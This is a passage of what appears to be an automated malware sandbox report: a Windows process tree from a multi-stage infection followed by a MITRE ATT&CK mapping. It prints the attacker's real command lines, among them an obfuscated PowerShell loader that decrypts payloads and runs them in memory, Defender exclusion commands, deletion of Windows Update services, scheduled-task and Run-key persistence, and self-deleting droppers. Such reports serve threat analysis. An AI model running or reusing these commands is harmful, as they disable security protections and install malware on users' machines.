AyMSx($aADFu){$mkeZq=[System.Security.Cryptography.Aes]::Create();$mkeZq.Mode=[System.Security.Cryptography.CipherMode]::CBC;$mkeZq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$mkeZq.Key=[System.Convert]::$ZDDe('33o4mPrkfBEGS8RPjJSCxTGdyodbZrRhtRuNUH5rzRk=');$mkeZq.IV=[System.Convert]::$ZDDe('Pw0jyFBtnQYUrNsqUX5AOg==');$kgbNu=$mkeZq.$xsru();$gGieg=$kgbNu.$JaHM($aADFu,0,$aADFu.Length);$kgbNu.Dispose();$mkeZq.Dispose();$gGieg;}function QpgTW($aADFu){$lUmJr=New-Object System.IO.MemoryStream(,$aADFu);$vxHfp=New-Object System.IO.MemoryStream;$CEpcv=New-Object System.IO.Compression.GZipStream($lUmJr,[IO.Compression.CompressionMode]::Decompress);$CEpcv.CopyTo($vxHfp);$CEpcv.Dispose();$lUmJr.Dispose();$vxHfp.Dispose();$vxHfp.ToArray();}function jfGQF($aADFu,$OnnHT){[System.Reflection.Assembly]::$wEka([byte[]]$aADFu).$bNvC.$GDjp($null,$OnnHT);}$oEcWz=[System.Linq.Enumerable]::$cJOL([System.IO.File]::$LMam([System.IO.Path]::$nIei([System.Diagnostics.Process]::$UcNH().MainModule.FileName, $null)));$fmJXF = $oEcWz.Substring(3).Split('\');$xAiAZ=QpgTW (AyMSx ([Convert]::$ZDDe($fmJXF[0])));$AjQdR=QpgTW (AyMSx ([Convert]::$ZDDe($fmJXF[1])));jfGQF $AjQdR $null;jfGQF $xAiAZ $null;
6⤵
PID:1968

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1968);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
7⤵
PID:4720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
7⤵
PID:1128

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\JGAbA')
7⤵
PID:3912

C:\Users\Admin\AppData\Local\Temp\394108.exe
"C:\Users\Admin\AppData\Local\Temp\394108.exe"
7⤵
- Executes dropped EXE
PID:1312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1312);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
7⤵
PID:792

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:4652

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2204

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3212

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:4260

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:792

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3720

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:636

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:1708

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:2064

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:4604

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:3960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
2⤵
PID:3972

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:4344

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:4500

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:5112

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:2424

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:3712

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:64

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
2⤵
PID:2440

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
3⤵
PID:1508

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:2192

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:4308

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:3580

C:\Users\Admin\AppData\Local\Temp\E048.exe
C:\Users\Admin\AppData\Local\Temp\E048.exe
2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5064

C:\Windows\system32\dllhost.exe
"C:\Windows\system32\dllhost.exe"
3⤵
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- outlook_office_path
- outlook_win_path
PID:4424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 712
3⤵
- Program crash
PID:4160

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:5044

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:3960

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:4832

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:220

C:\Users\Admin\AppData\Local\Temp\F2E7.exe
C:\Users\Admin\AppData\Local\Temp\F2E7.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3924

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
3⤵
- Loads dropped DLL
- Checks processor information in registry
PID:4124

C:\ProgramData\72993574041601362566.exe
"C:\ProgramData\72993574041601362566.exe"
4⤵
- Executes dropped EXE
PID:2064

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\ProgramData\72993574041601362566.exe
5⤵
PID:4656

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 0
6⤵
PID:4904

C:\ProgramData\60711744363166210615.exe
"C:\ProgramData\60711744363166210615.exe"
4⤵
- Executes dropped EXE
- Adds Run key to start application
PID:3776

C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
5⤵
- Executes dropped EXE
PID:5104

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" & exit
4⤵
PID:1032

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
5⤵
- Delays execution with timeout.exe
PID:4056

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
2⤵
PID:1980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3836

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:4100

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:1708

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2148

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3440

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:924

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4232

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:1844

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:2800

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:388

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:4976

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:3304

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:4184

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:4564

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:4452

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:1460

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:3672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3540

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe zuhwtyqtfkk
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:1968

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:4956

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:3720

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:4064

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
2⤵
- Modifies data under HKEY_USERS
PID:4412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4520 -ip 4520
1⤵
PID:780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3676 -ip 3676
1⤵
PID:1208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3796 -ip 3796
1⤵
PID:4948

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:912

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
2⤵
- Creates scheduled task(s)
PID:1844

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:2928

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:4736

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 532 -p 1460 -ip 1460
1⤵
PID:1172

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4604

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5064 -ip 5064
1⤵
PID:5012

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SDRSVC
1⤵
PID:5052

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:652

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:4340

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:5028

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:1172

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:3776

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:1940

C:\Users\Admin\AppData\Roaming\wjtarai
C:\Users\Admin\AppData\Roaming\wjtarai
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1908

C:\Users\Admin\AppData\Roaming\ibtarai
C:\Users\Admin\AppData\Roaming\ibtarai
1⤵
- Executes dropped EXE
PID:3844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 340
2⤵
- Program crash
PID:2016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3844 -ip 3844
1⤵
PID:2928

C:\Users\Admin\AppData\Roaming\rgtarai
C:\Users\Admin\AppData\Roaming\rgtarai
1⤵
- Executes dropped EXE
PID:5080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5080 -s 340
2⤵
- Program crash
PID:1780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5080 -ip 5080
1⤵
PID:5056

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:324

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:4164

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:2936

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Bootkit

T1067

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery